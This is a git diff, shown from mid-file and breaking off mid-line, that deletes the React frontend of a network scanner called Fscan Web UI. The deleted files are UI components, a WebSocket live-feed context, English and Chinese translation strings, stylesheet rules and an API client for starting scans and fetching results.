DropdownMenuPrimitive.Item.displayName - -const DropdownMenuCheckboxItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, checked, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuCheckboxItem.displayName = - DropdownMenuPrimitive.CheckboxItem.displayName - -const DropdownMenuRadioItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName - -const DropdownMenuLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & { - inset?: boolean - } ->(({ className, inset, ...props }, ref) => ( - -)) -DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName - -const DropdownMenuSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName - -const DropdownMenuShortcut = ({ - className, - ...props -}: React.HTMLAttributes) => { - return ( - - ) -} -DropdownMenuShortcut.displayName = "DropdownMenuShortcut" - -export { - DropdownMenu, - DropdownMenuTrigger, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuCheckboxItem, - DropdownMenuRadioItem, - DropdownMenuLabel, - DropdownMenuSeparator, - DropdownMenuShortcut, - DropdownMenuGroup, - DropdownMenuPortal, - DropdownMenuSub, - DropdownMenuSubContent, - DropdownMenuSubTrigger, - DropdownMenuRadioGroup, -} diff --git a/web-ui/src/components/ui/empty-state.tsx b/web-ui/src/components/ui/empty-state.tsx deleted file mode 100644 index 900eb75d..00000000 --- a/web-ui/src/components/ui/empty-state.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" -import type { LucideIcon } from "lucide-react" - -interface EmptyStateProps extends React.HTMLAttributes { - icon?: LucideIcon - title: string - description?: string - action?: React.ReactNode -} - -function EmptyState({ - icon: Icon, - title, - description, - action, - className, - ...props -}: EmptyStateProps) { - return ( -
- {Icon && ( -
- -
- )} -

{title}

- {description && ( -

- {description} -

- )} - {action &&
{action}
} -
- ) -} - -export { EmptyState } diff --git a/web-ui/src/components/ui/input.tsx b/web-ui/src/components/ui/input.tsx deleted file mode 100644 index 953ebf7e..00000000 --- a/web-ui/src/components/ui/input.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import * as React from "react" -import { cn } from "@/lib/utils" - -export interface InputProps - extends React.InputHTMLAttributes {} - -const Input = React.forwardRef( - ({ className, type, ...props }, ref) => { - return ( - - ) - } -) -Input.displayName = "Input" - -export { Input } diff --git a/web-ui/src/components/ui/label.tsx b/web-ui/src/components/ui/label.tsx deleted file mode 100644 index e0d8e049..00000000 --- a/web-ui/src/components/ui/label.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import * as React from "react" -import * as LabelPrimitive from "@radix-ui/react-label" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const labelVariants = cva( - "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70" -) - -const Label = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef & - VariantProps ->(({ className, ...props }, ref) => ( - -)) -Label.displayName = LabelPrimitive.Root.displayName - -export { Label } diff --git a/web-ui/src/components/ui/progress.tsx b/web-ui/src/components/ui/progress.tsx deleted file mode 100644 index 682afb70..00000000 --- a/web-ui/src/components/ui/progress.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import * as React from "react" -import * as ProgressPrimitive from "@radix-ui/react-progress" -import { cn } from "@/lib/utils" - -const Progress = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, value, ...props }, ref) => ( - - - -)) -Progress.displayName = ProgressPrimitive.Root.displayName - -export { Progress } diff --git a/web-ui/src/components/ui/scroll-area.tsx b/web-ui/src/components/ui/scroll-area.tsx deleted file mode 100644 index 32258390..00000000 --- a/web-ui/src/components/ui/scroll-area.tsx +++ /dev/null @@ -1,45 +0,0 @@ -import * as React from "react" -import * as ScrollAreaPrimitive from "@radix-ui/react-scroll-area" -import { cn } from "@/lib/utils" - -const ScrollArea = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - {children} - - - - -)) -ScrollArea.displayName = ScrollAreaPrimitive.Root.displayName - -const ScrollBar = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, orientation = "vertical", ...props }, ref) => ( - - - -)) -ScrollBar.displayName = ScrollAreaPrimitive.ScrollAreaScrollbar.displayName - -export { ScrollArea, ScrollBar } diff --git a/web-ui/src/components/ui/select.tsx b/web-ui/src/components/ui/select.tsx deleted file mode 100644 index 12b8cd21..00000000 --- a/web-ui/src/components/ui/select.tsx +++ /dev/null @@ -1,156 +0,0 @@ -import * as React from "react" -import * as SelectPrimitive from "@radix-ui/react-select" -import { Check, ChevronDown, ChevronUp } from "lucide-react" -import { cn } from "@/lib/utils" - -const Select = SelectPrimitive.Root - -const SelectGroup = SelectPrimitive.Group - -const SelectValue = SelectPrimitive.Value - -const SelectTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - span]:line-clamp-1", - className - )} - {...props} - > - {children} - - - - -)) -SelectTrigger.displayName = SelectPrimitive.Trigger.displayName - -const SelectScrollUpButton = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -SelectScrollUpButton.displayName = SelectPrimitive.ScrollUpButton.displayName - -const SelectScrollDownButton = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -SelectScrollDownButton.displayName = - SelectPrimitive.ScrollDownButton.displayName - -const SelectContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, position = "popper", ...props }, ref) => ( - - - - - {children} - - - - -)) -SelectContent.displayName = SelectPrimitive.Content.displayName - -const SelectLabel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SelectLabel.displayName = SelectPrimitive.Label.displayName - -const SelectItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - - - - {children} - -)) -SelectItem.displayName = SelectPrimitive.Item.displayName - -const SelectSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -SelectSeparator.displayName = SelectPrimitive.Separator.displayName - -export { - Select, - SelectGroup, - SelectValue, - SelectTrigger, - SelectContent, - SelectLabel, - SelectItem, - SelectSeparator, - SelectScrollUpButton, - SelectScrollDownButton, -} diff --git a/web-ui/src/components/ui/separator.tsx b/web-ui/src/components/ui/separator.tsx deleted file mode 100644 index e7773186..00000000 --- a/web-ui/src/components/ui/separator.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import * as React from "react" -import * as SeparatorPrimitive from "@radix-ui/react-separator" -import { cn } from "@/lib/utils" - -const Separator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->( - ( - { className, orientation = "horizontal", decorative = true, ...props }, - ref - ) => ( - - ) -) -Separator.displayName = SeparatorPrimitive.Root.displayName - -export { Separator } diff --git a/web-ui/src/components/ui/skeleton.tsx b/web-ui/src/components/ui/skeleton.tsx deleted file mode 100644 index 01b8b6d4..00000000 --- a/web-ui/src/components/ui/skeleton.tsx +++ /dev/null @@ -1,15 +0,0 @@ -import { cn } from "@/lib/utils" - -function Skeleton({ - className, - ...props -}: React.HTMLAttributes) { - return ( -
- ) -} - -export { Skeleton } diff --git a/web-ui/src/components/ui/switch.tsx b/web-ui/src/components/ui/switch.tsx deleted file mode 100644 index fbb280ca..00000000 --- a/web-ui/src/components/ui/switch.tsx +++ /dev/null @@ -1,26 +0,0 @@ -import * as React from "react" -import * as SwitchPrimitives from "@radix-ui/react-switch" -import { cn } from "@/lib/utils" - -const Switch = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - -)) -Switch.displayName = SwitchPrimitives.Root.displayName - -export { Switch } diff --git a/web-ui/src/components/ui/tabs.tsx b/web-ui/src/components/ui/tabs.tsx deleted file mode 100644 index 4c751b30..00000000 --- a/web-ui/src/components/ui/tabs.tsx +++ /dev/null @@ -1,52 +0,0 @@ -import * as React from "react" -import * as TabsPrimitive from "@radix-ui/react-tabs" -import { cn } from "@/lib/utils" - -const Tabs = TabsPrimitive.Root - -const TabsList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsList.displayName = TabsPrimitive.List.displayName - -const TabsTrigger = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsTrigger.displayName = TabsPrimitive.Trigger.displayName - -const TabsContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -TabsContent.displayName = TabsPrimitive.Content.displayName - -export { Tabs, TabsList, TabsTrigger, TabsContent } diff --git a/web-ui/src/components/ui/tooltip.tsx b/web-ui/src/components/ui/tooltip.tsx deleted file mode 100644 index 222527a2..00000000 --- a/web-ui/src/components/ui/tooltip.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import * as React from "react" -import * as TooltipPrimitive from "@radix-ui/react-tooltip" -import { cn } from "@/lib/utils" - -const TooltipProvider = TooltipPrimitive.Provider - -const Tooltip = TooltipPrimitive.Root - -const TooltipTrigger = TooltipPrimitive.Trigger - -const TooltipContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, sideOffset = 4, ...props }, ref) => ( - - - -)) -TooltipContent.displayName = TooltipPrimitive.Content.displayName - -export { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider } diff --git a/web-ui/src/contexts/LiveFeedContext.tsx b/web-ui/src/contexts/LiveFeedContext.tsx deleted file mode 100644 index 6a979004..00000000 --- a/web-ui/src/contexts/LiveFeedContext.tsx +++ /dev/null @@ -1,167 +0,0 @@ -import { createContext, useContext, useState, useCallback, useEffect, useRef, useMemo, type ReactNode } from 'react'; - -export type MessageType = - | 'scan_started' - | 'scan_progress' - | 'scan_result' - | 'scan_completed' - | 'scan_error' - | 'connected' - | 'ping' - | 'pong'; - -export interface WSMessage { - type: MessageType; - timestamp: number; - data?: unknown; -} - -export interface LogEntry { - id: number; - time: string; - type: string; - target: string; - status: string; -} - -interface LiveFeedContextType { - isConnected: boolean; - logs: LogEntry[]; - clearLogs: () => void; -} - -const LiveFeedContext = createContext(null); - -export function LiveFeedProvider({ children }: { children: ReactNode }) { - const [isConnected, setIsConnected] = useState(false); - const [logs, setLogs] = useState([]); - const wsRef = useRef(null); - const reconnectTimeoutRef = useRef | null>(null); - const mountedRef = useRef(false); - // 使用 Map 做可靠去重: key = type|target, value = LogEntry - const logsMapRef = useRef>(new Map()); - // 递增计数器确保 id 唯一 - const counterRef = useRef(0); - - const clearLogs = useCallback(() => { - logsMapRef.current.clear(); - counterRef.current = 0; - setLogs([]); - }, []); - - const connect = useCallback(() => { - // 防止重复连接 - if (!mountedRef.current) return; - if (wsRef.current) { - const state = wsRef.current.readyState; - if (state === WebSocket.OPEN || state === WebSocket.CONNECTING) { - return; - } - } - - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws`; - - const ws = new WebSocket(wsUrl); - wsRef.current = ws; - - ws.onopen = () => { - if (mountedRef.current) { - setIsConnected(true); - } - }; - - ws.onclose = () => { - if (mountedRef.current) { - setIsConnected(false); - // 延迟重连 - reconnectTimeoutRef.current = setTimeout(() => { - if (mountedRef.current) connect(); - }, 3000); - } - }; - - ws.onerror = () => { - ws.close(); - }; - - ws.onmessage = (event) => { - if (!mountedRef.current) return; - try { - const message: WSMessage = JSON.parse(event.data); - if (message.type === 'scan_result' && message.data) { - const data = message.data as Record; - // 使用服务端时间戳(如果有)格式化时间 - const serverTime = message.timestamp || Date.now(); - const newEntry: LogEntry = { - id: ++counterRef.current, // 递增确保唯一且有序 - time: new Date(serverTime).toLocaleTimeString(), - type: data.type || 'info', - target: data.target || '', - status: data.status || '', - }; - - const key = `${newEntry.type}|${newEntry.target}`; - const existing = logsMapRef.current.get(key); - - // 去重逻辑:同一 type|target 只保留一条,优先保留详细信息 - if (existing) { - const oldStatus = existing.status; - // 只有新的更详细才更新(保留原始 id 以维持顺序) - if ((oldStatus === 'identified' || oldStatus === 'open' || oldStatus === '') && - newEntry.status !== 'identified' && newEntry.status !== 'open' && newEntry.status !== '') { - logsMapRef.current.set(key, { ...newEntry, id: existing.id }); - } - // 已有信息,不重复添加 - } else { - logsMapRef.current.set(key, newEntry); - } - - // 从 Map 生成排序后的数组(按 id 倒序,最新在前) - const sorted = Array.from(logsMapRef.current.values()) - .sort((a, b) => b.id - a.id) - .slice(0, 100); - setLogs(sorted); - } - } catch { - // ignore parse errors - } - }; - }, []); - - useEffect(() => { - mountedRef.current = true; - connect(); - return () => { - mountedRef.current = false; - if (reconnectTimeoutRef.current) { - clearTimeout(reconnectTimeoutRef.current); - reconnectTimeoutRef.current = null; - } - if (wsRef.current) { - wsRef.current.close(); - wsRef.current = null; - } - }; - }, [connect]); - - const value = useMemo(() => ({ - isConnected, - logs, - clearLogs, - }), [isConnected, logs, clearLogs]); - - return ( - - {children} - - ); -} - -export function useLiveFeed() { - const context = useContext(LiveFeedContext); - if (!context) { - throw new Error('useLiveFeed must be used within a LiveFeedProvider'); - } - return context; -} diff --git a/web-ui/src/hooks/useWebSocket.ts b/web-ui/src/hooks/useWebSocket.ts deleted file mode 100644 index a94877d0..00000000 --- a/web-ui/src/hooks/useWebSocket.ts +++ /dev/null @@ -1,100 +0,0 @@ -import { useEffect, useRef, useCallback, useState } from 'react'; - -export type MessageType = - | 'scan_started' - | 'scan_progress' - | 'scan_result' - | 'scan_completed' - | 'scan_error' - | 'connected' - | 'ping' - | 'pong'; - -export interface WSMessage { - type: MessageType; - timestamp: number; - data?: unknown; -} - -interface UseWebSocketOptions { - onMessage?: (message: WSMessage) => void; - onConnected?: () => void; - onDisconnected?: () => void; - reconnectInterval?: number; -} - -export function useWebSocket(options: UseWebSocketOptions = {}) { - const { - onMessage, - onConnected, - onDisconnected, - reconnectInterval = 3000, - } = options; - - const [isConnected, setIsConnected] = useState(false); - const wsRef = useRef(null); - const reconnectTimeoutRef = useRef | null>(null); - - const connect = useCallback(() => { - if (wsRef.current?.readyState === WebSocket.OPEN) { - return; - } - - const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const wsUrl = `${protocol}//${window.location.host}/ws`; - - const ws = new WebSocket(wsUrl); - wsRef.current = ws; - - ws.onopen = () => { - setIsConnected(true); - onConnected?.(); - }; - - ws.onclose = () => { - setIsConnected(false); - onDisconnected?.(); - // Reconnect - reconnectTimeoutRef.current = setTimeout(connect, reconnectInterval); - }; - - ws.onerror = () => { - ws.close(); - }; - - ws.onmessage = (event) => { - try { - const message: WSMessage = JSON.parse(event.data); - onMessage?.(message); - } catch { - console.error('Failed to parse WebSocket message'); - } - }; - }, [onConnected, onDisconnected, onMessage, reconnectInterval]); - - const disconnect = useCallback(() => { - if (reconnectTimeoutRef.current) { - clearTimeout(reconnectTimeoutRef.current); - } - wsRef.current?.close(); - wsRef.current = null; - }, []); - - const sendMessage = useCallback((type: MessageType, data?: unknown) => { - if (wsRef.current?.readyState === WebSocket.OPEN) { - wsRef.current.send(JSON.stringify({ type, data, timestamp: Date.now() })); - } - }, []); - - useEffect(() => { - connect(); - return () => disconnect(); - }, [connect, disconnect]); - - return { - isConnected, - sendMessage, - connect, - disconnect, - }; -} diff --git a/web-ui/src/i18n/index.ts b/web-ui/src/i18n/index.ts deleted file mode 100644 index cda18f32..00000000 --- a/web-ui/src/i18n/index.ts +++ /dev/null @@ -1,236 +0,0 @@ -import i18n from 'i18next'; -import { initReactI18next } from 'react-i18next'; - -const resources = { - en: { - translation: { - // App - appTitle: 'Fscan Web UI', - appDescription: 'Network Security Scanner', - - // Navigation - navScan: 'Scan', - navResults: 'Results', - navSettings: 'Settings', - - // Scan Page - scanTitle: 'New Scan', - scanTarget: 'Target', - scanTargetPlaceholder: 'IP, IP range, domain (e.g., 192.168.1.0/24)', - scanPorts: 'Ports', - scanPortsPlaceholder: 'Port range (e.g., 1-1000,3306,8080)', - scanPreset: 'Preset', - scanPresetSelect: 'Select preset...', - scanMode: 'Scan Mode', - scanModeAll: 'All', - scanModeIcmp: 'ICMP Only', - scanThreads: 'Threads', - scanTimeout: 'Timeout (s)', - scanAdvanced: 'Advanced Options', - scanDisablePing: 'Disable Ping', - scanDisableBrute: 'Disable Brute Force', - scanAliveOnly: 'Alive Only', - scanUsername: 'Username', - scanPassword: 'Password', - scanDomain: 'Domain', - scanExcludeHosts: 'Exclude Hosts', - scanExcludePorts: 'Exclude Ports', - scanStartBtn: 'Start Scan', - scanStopBtn: 'Stop Scan', - scanRunning: 'Scan Running...', - - // Status - statusIdle: 'Idle', - statusRunning: 'Running', - statusStopping: 'Stopping', - - // Stats - statsHosts: 'Hosts', - statsPorts: 'Ports', - statsServices: 'Services', - statsVulns: 'Vulnerabilities', - - // Results - resultsTitle: 'Scan Results', - resultsDistribution: 'Results Distribution', - chartEmptyTitle: 'No data available', - chartEmptyDescription: 'Statistics will be displayed here after scanning', - resultsExport: 'Export', - resultsClear: 'Clear', - resultsEmpty: 'No results yet', - resultsEmptyDescription: 'Results will appear here after scanning', - resultsFilterAll: 'All', - resultsFilterHosts: 'Hosts', - resultsFilterPorts: 'Ports', - resultsFilterServices: 'Services', - resultsFilterVulns: 'Vulnerabilities', - - // Live Feed - liveFeed: 'Live Feed', - liveFeedConnected: 'Connected', - liveFeedDisconnected: 'Disconnected', - liveFeedEmptyDescription: 'Start a scan to see real-time results', - - // Settings - settingsTitle: 'Settings', - settingsLanguage: 'Language', - settingsTheme: 'Theme', - settingsThemeLight: 'Light', - settingsThemeDark: 'Dark', - settingsThemeSystem: 'System', - - // Common - loading: 'Loading...', - error: 'Error', - success: 'Success', - cancel: 'Cancel', - confirm: 'Confirm', - close: 'Close', - items: 'items', - refresh: 'Refresh', - clearAll: 'Clear all', - export: 'Export', - exportJson: 'Export JSON', - exportCsv: 'Export CSV', - - // Validation & Errors - targetRequired: 'Target is required', - startScanFailed: 'Failed to start scan', - stopScanFailed: 'Failed to stop scan', - clearConfirmTitle: 'Clear Results', - clearConfirm: 'Are you sure you want to clear all results? This action cannot be undone.', - - // Theme - lightMode: 'Light mode', - darkMode: 'Dark mode', - - // Result Types - typeHost: 'host', - typePort: 'port', - typeService: 'service', - typeVuln: 'vuln', - }, - }, - zh: { - translation: { - // App - appTitle: 'Fscan Web UI', - appDescription: '网络安全扫描器', - - // Navigation - navScan: '扫描', - navResults: '结果', - navSettings: '设置', - - // Scan Page - scanTitle: '新建扫描', - scanTarget: '目标', - scanTargetPlaceholder: 'IP、IP段、域名 (如: 192.168.1.0/24)', - scanPorts: '端口', - scanPortsPlaceholder: '端口范围 (如: 1-1000,3306,8080)', - scanPreset: '预设', - scanPresetSelect: '选择预设...', - scanMode: '扫描模式', - scanModeAll: '全部', - scanModeIcmp: '仅ICMP', - scanThreads: '线程数', - scanTimeout: '超时(秒)', - scanAdvanced: '高级选项', - scanDisablePing: '禁用Ping', - scanDisableBrute: '禁用爆破', - scanAliveOnly: '仅存活检测', - scanUsername: '用户名', - scanPassword: '密码', - scanDomain: '域名', - scanExcludeHosts: '排除主机', - scanExcludePorts: '排除端口', - scanStartBtn: '开始扫描', - scanStopBtn: '停止扫描', - scanRunning: '扫描进行中...', - - // Status - statusIdle: '空闲', - statusRunning: '运行中', - statusStopping: '停止中', - - // Stats - statsHosts: '主机', - statsPorts: '端口', - statsServices: '服务', - statsVulns: '漏洞', - - // Results - resultsTitle: '扫描结果', - resultsDistribution: '结果分布', - chartEmptyTitle: '暂无数据', - chartEmptyDescription: '扫描后将在此显示统计图表', - resultsExport: '导出', - resultsClear: '清空', - resultsEmpty: '暂无结果', - resultsEmptyDescription: '扫描结果将在此显示', - resultsFilterAll: '全部', - resultsFilterHosts: '主机', - resultsFilterPorts: '端口', - resultsFilterServices: '服务', - resultsFilterVulns: '漏洞', - - // Live Feed - liveFeed: '实时动态', - liveFeedConnected: '已连接', - liveFeedDisconnected: '已断开', - liveFeedEmptyDescription: '开始扫描后将在此显示实时结果', - - // Settings - settingsTitle: '设置', - settingsLanguage: '语言', - settingsTheme: '主题', - settingsThemeLight: '浅色', - settingsThemeDark: '深色', - settingsThemeSystem: '跟随系统', - - // Common - loading: '加载中...', - error: '错误', - success: '成功', - cancel: '取消', - confirm: '确认', - close: '关闭', - items: '条', - refresh: '刷新', - clearAll: '清空全部', - export: '导出', - exportJson: '导出 JSON', - exportCsv: '导出 CSV', - - // Validation & Errors - targetRequired: '请输入扫描目标', - startScanFailed: '启动扫描失败', - stopScanFailed: '停止扫描失败', - clearConfirmTitle: '清空结果', - clearConfirm: '确定要清空所有结果吗?此操作不可撤销。', - - // Theme - lightMode: '浅色模式', - darkMode: '深色模式', - - // Result Types - typeHost: '主机', - typePort: '端口', - typeService: '服务', - typeVuln: '漏洞', - }, - }, -}; - -i18n - .use(initReactI18next) - .init({ - resources, - lng: 'zh', - fallbackLng: 'zh', - interpolation: { - escapeValue: false, - }, - }); - -export default i18n; diff --git a/web-ui/src/index.css b/web-ui/src/index.css deleted file mode 100644 index c65fef9d..00000000 --- a/web-ui/src/index.css +++ /dev/null @@ -1,257 +0,0 @@ -@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=IBM+Plex+Sans:wght@400;500;600&display=swap'); - -@tailwind base; -@tailwind components; -@tailwind utilities; - -@layer base { - :root { - --background: 0 0% 99%; - --foreground: 220 14% 10%; - --card: 0 0% 100%; - --card-foreground: 220 14% 10%; - --popover: 0 0% 100%; - --popover-foreground: 220 14% 10%; - --primary: 220 14% 10%; - --primary-foreground: 0 0% 99%; - --secondary: 220 13% 95%; - --secondary-foreground: 220 14% 10%; - --muted: 220 13% 95%; - --muted-foreground: 220 9% 46%; - --accent: 220 13% 95%; - --accent-foreground: 220 14% 10%; - --destructive: 0 72% 51%; - --destructive-foreground: 0 0% 99%; - --border: 220 13% 90%; - --input: 220 13% 90%; - --ring: 220 14% 10%; - --radius: 0.5rem; - --success: 142 71% 45%; - --warning: 38 92% 50%; - /* Chart colors */ - --chart-1: 217 91% 60%; - --chart-2: 160 84% 39%; - --chart-3: 43 96% 56%; - --chart-4: 0 72% 51%; - --chart-5: 262 83% 58%; - } - - .dark { - --background: 220 16% 6%; - --foreground: 220 13% 95%; - --card: 220 16% 8%; - --card-foreground: 220 13% 95%; - --popover: 220 16% 8%; - --popover-foreground: 220 13% 95%; - --primary: 220 13% 95%; - --primary-foreground: 220 16% 6%; - --secondary: 220 14% 14%; - --secondary-foreground: 220 13% 95%; - --muted: 220 14% 14%; - --muted-foreground: 220 9% 55%; - --accent: 220 14% 14%; - --accent-foreground: 220 13% 95%; - --destructive: 0 62% 50%; - --destructive-foreground: 220 13% 95%; - --border: 220 14% 16%; - --input: 220 14% 16%; - --ring: 220 13% 95%; - --success: 142 71% 45%; - --warning: 38 92% 50%; - /* Chart colors */ - --chart-1: 217 91% 65%; - --chart-2: 160 84% 45%; - --chart-3: 43 96% 60%; - --chart-4: 0 72% 55%; - --chart-5: 262 83% 65%; - } -} - -@layer base { - * { - @apply border-border; - } - - /* 响应式基础字体 - 放大 */ - html { - font-size: 15px; - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; - } - - @media (min-width: 640px) { - html { - font-size: 16px; - } - } - - @media (min-width: 1024px) { - html { - font-size: 17px; - } - } - - @media (min-width: 1280px) { - html { - font-size: 18px; - } - } - - body { - @apply bg-background text-foreground; - font-family: 'IBM Plex Sans', -apple-system, BlinkMacSystemFont, sans-serif; - margin: 0; - line-height: 1.6; - } -} - -@layer components { - /* 响应式容器 - 全屏宽度 */ - .container { - @apply mx-auto px-3 sm:px-4 lg:px-6 xl:px-8; - max-width: 100%; - } - - /* Stat pill - 放大 */ - .stat-pill { - @apply flex items-center gap-2 px-3 py-1.5 rounded-md bg-muted/60 text-sm; - } - - .stat-pill-value { - @apply font-mono font-semibold tabular-nums text-base; - } - - /* Card - 放大 */ - .card-compact { - @apply rounded-lg border bg-card shadow-sm; - } - - .card-compact-header { - @apply flex items-center justify-between px-4 py-3 border-b bg-muted/30; - } - - .card-compact-body { - @apply p-4; - } - - /* Form field - 放大 */ - .field-label { - @apply text-xs font-medium text-muted-foreground uppercase tracking-wide mb-1.5; - } - - .field-input { - @apply h-10 text-sm px-3; - } - - .field-input-mono { - @apply h-10 text-sm px-3 font-mono; - } - - /* Live log styling - 放大 */ - .log-line { - @apply flex items-center gap-3 py-1.5 px-2 text-sm font-mono rounded-md; - @apply hover:bg-muted/50 transition-colors; - } - - .log-time { - @apply text-muted-foreground w-20 shrink-0 text-xs sm:text-sm; - } - - .log-type { - @apply w-16 shrink-0 font-medium text-xs sm:text-sm; - } - - .log-target { - @apply truncate text-xs sm:text-sm; - } - - /* Type colors */ - .type-host { @apply text-blue-600 dark:text-blue-400; } - .type-port { @apply text-emerald-600 dark:text-emerald-400; } - .type-service { @apply text-amber-600 dark:text-amber-400; } - .type-vuln { @apply text-red-600 dark:text-red-400; } - - /* Badge - 放大 */ - .badge { - @apply inline-flex items-center px-2 py-1 rounded-md text-xs font-medium uppercase tracking-wide; - } - - .badge-host { @apply bg-blue-500/10 text-blue-600 dark:text-blue-400; } - .badge-port { @apply bg-emerald-500/10 text-emerald-600 dark:text-emerald-400; } - .badge-service { @apply bg-amber-500/10 text-amber-600 dark:text-amber-400; } - .badge-vuln { @apply bg-red-500/10 text-red-600 dark:text-red-400; } - - /* Switch row - 放大 */ - .switch-row { - @apply flex items-center justify-between py-2 px-3 rounded-md bg-muted/40 text-sm; - } - - /* Scrollbar */ - .scrollbar-thin { - scrollbar-width: thin; - scrollbar-color: hsl(var(--border)) transparent; - } - - .scrollbar-thin::-webkit-scrollbar { - width: 6px; - height: 6px; - } - - .scrollbar-thin::-webkit-scrollbar-track { - background: transparent; - } - - .scrollbar-thin::-webkit-scrollbar-thumb { - background-color: hsl(var(--border)); - border-radius: 3px; - } - - /* Animations */ - @keyframes fade-in { - from { opacity: 0; transform: translateY(-2px); } - to { opacity: 1; transform: translateY(0); } - } - - .animate-fade-in { - animation: fade-in 0.15s ease-out; - } - - @keyframes slide-up { - from { opacity: 0; transform: translateY(4px); } - to { opacity: 1; transform: translateY(0); } - } - - .animate-slide-up { - animation: slide-up 0.2s ease-out; - } - - @keyframes pulse-soft { - 0%, 100% { opacity: 1; } - 50% { opacity: 0.6; } - } - - .animate-pulse-soft { - animation: pulse-soft 2s ease-in-out infinite; - } - - /* Focus ring */ - .focus-ring { - @apply focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 focus:ring-offset-background; - } - - /* Hover lift effect */ - .hover-lift { - @apply transition-transform hover:-translate-y-0.5; - } - - /* Subtle shadow on hover */ - .hover-shadow { - @apply transition-shadow hover:shadow-md; - } -} - -@layer utilities { - .font-mono { - font-family: 'IBM Plex Mono', ui-monospace, monospace; - } -} diff --git a/web-ui/src/lib/api.ts b/web-ui/src/lib/api.ts deleted file mode 100644 index 9640f5c2..00000000 --- a/web-ui/src/lib/api.ts +++ /dev/null @@ -1,141 +0,0 @@ -const API_BASE = '/api'; - -export interface ScanRequest { - host: string; - ports?: string; - exclude_hosts?: string; - exclude_ports?: string; - scan_mode?: string; - thread_num?: number; - timeout?: number; - module_thread_num?: number; - disable_ping?: boolean; - disable_brute?: boolean; - alive_only?: boolean; - username?: string; - password?: string; - domain?: string; - poc_path?: string; - poc_name?: string; - poc_full?: boolean; - disable_poc?: boolean; -} - -export interface ScanStatus { - state: 'idle' | 'running' | 'stopping'; - start_time?: string; - progress: number; - stats: ScanStats; -} - -export interface ScanStats { - hosts_scanned: number; - ports_scanned: number; - services_found: number; - vulns_found: number; -} - -export interface ResultItem { - id: number; - time: string; - type: string; - target: string; - status: string; - details?: Record; -} - -export interface ScanPreset { - id: string; - name: string; - name_en: string; - description: string; - description_en: string; - ports: string; - scan_mode: string; - thread_num: number; - timeout: number; -} - -export interface PluginInfo { - name: string; - type: string; - description: string; - description_en: string; - enabled: boolean; -} - -// API functions -export async function startScan(request: ScanRequest): Promise<{ status: string; start_time: string }> { - const response = await fetch(`${API_BASE}/scan/start`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(request), - }); - if (!response.ok) { - const error = await response.json(); - throw new Error(error.error || 'Failed to start scan'); - } - return response.json(); -} - -export async function stopScan(): Promise<{ status: string }> { - const response = await fetch(`${API_BASE}/scan/stop`, { - method: 'POST', - }); - if (!response.ok) { - const error = await response.json(); - throw new Error(error.error || 'Failed to stop scan'); - } - return response.json(); -} - -export async function getScanStatus(): Promise { - const response = await fetch(`${API_BASE}/scan/status`); - if (!response.ok) { - throw new Error('Failed to get scan status'); - } - return response.json(); -} - -export async function getResults(type?: string): Promise<{ items: ResultItem[]; total: number; stats: ScanStats }> { - const url = type ? `${API_BASE}/results?type=${type}` : `${API_BASE}/results`; - const response = await fetch(url); - if (!response.ok) { - throw new Error('Failed to get results'); - } - return response.json(); -} - -export async function exportResults(format: 'json' | 'csv'): Promise { - const response = await fetch(`${API_BASE}/results/export?format=${format}`); - if (!response.ok) { - throw new 